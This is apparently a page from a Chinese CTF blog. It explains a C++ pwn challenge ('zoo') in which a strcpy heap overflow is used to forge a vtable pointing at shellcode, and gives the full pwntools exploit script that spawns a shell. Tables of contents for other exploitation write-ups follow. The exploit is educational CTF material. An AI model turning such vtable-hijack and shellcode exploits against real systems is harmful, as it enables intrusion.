C++ 的 pwn 题, 这道题目没有开 NX, 也就是说可以使用 shellcode, 在 Dog::Dog, Cat::Cat 这些函数里也有很明显的通过 strcpy 实现 overflow 的漏洞, 因此这一题就可以通过溢出伪造虚表, 控制虚表指针指向 shellcode 地址来 get shell 更多 C++ pwn 的内容可以看这个 slide, 内容虽然有点老了, 但很经典

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = "debug"
context.binary = "./zoo"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

def addDog(name, weight):
    io.sendlineafter(":", "1")
    io.sendlineafter(":", name)
    io.sendlineafter(":", str(weight))

def remove(idx):
    io.sendlineafter(":", "5")
    io.sendlineafter(":", str(idx))

def listen(idx):
    io.sendlineafter(":", "3")
    io.sendlineafter(":", str(idx))

if __name__ == "__main__":
    io = process("./zoo")
    nameofzoo = 0x605420

    sc = asm(shellcraft.sh())
    io.sendlineafter(":", sc + p64(nameofzoo))

    addDog('0' * 8, 0)
    addDog('1' * 8, 1)
    remove(0)
    vptr = nameofzoo + len(sc)
    addDog('a' * 72 + p64(vptr), 2)
    listen(0)

    io.interactive()
    io.close()

localhost - Done with development, it's time to pwn.

ping friends

各种途径认识的师傅

我校学弟（和学妹）

RWCTF-3rd router3 & CVE-2020-14104 writeup

Writeup for RWCTF-3rd router3 and real writeup for CVE-2020-14104

Writeup for router3

information of the challenge

brief introduction to CVE-2020-11960

Writeup from players

The unintended solution in the unintended solutions

Writeup for CVE-2020-14104

Conclusion

Reference

RWCTF-3rd router3 & CVE-2020-14104 writeup

Writeup for router3

题目信息

分析题目

luci = lua[9] + uci[10]

CVE-2020-11960[14]

选手writeup

非预期中的非预期

Writeup for CVE-2020-14104

总结

Reference

Exploiting AX3600 Using Logical Bugs

实战逻辑漏洞：三个漏洞搞定一台路由器（二）

获取固件

一串漏洞来袭

漏洞一：有限的路径穿越漏洞

漏洞二：后台解压逻辑错误

Q & A

漏洞三：权限提升漏洞

Q & A

后记

参考资料

Pin in CTF? No, Perf in CTF!

pin-in-CTF

intel-pt and perf

perf

perf-in-CTF

summary

reference

QEMU escape part Ⅰ: qemu 的安装和使用

什么是 qemu

运行模式

User-mode emulation

System emulation

安装 qemu

使用包管理

从源码编译

使用 qemu

如何 debug

调试 qemu

调试 qemu 中的进程

Reference

Dive Into Tcache

New Structure

相关函数

source code

__libc_malloc

__tcache_init()

申请内存

tcache_get()

__libc_free()

_int_free()

tcache_put()

tcache makes heap exploitation easy again

tcache poisoning

tcache dup

tcache perthread corruption

References & thanks to:

2018护网杯 - pwn - writeup

gettingstart

shoppingcart

huwang

six

calendar

Linux Kernel Pwn ABC(II)

ret2usr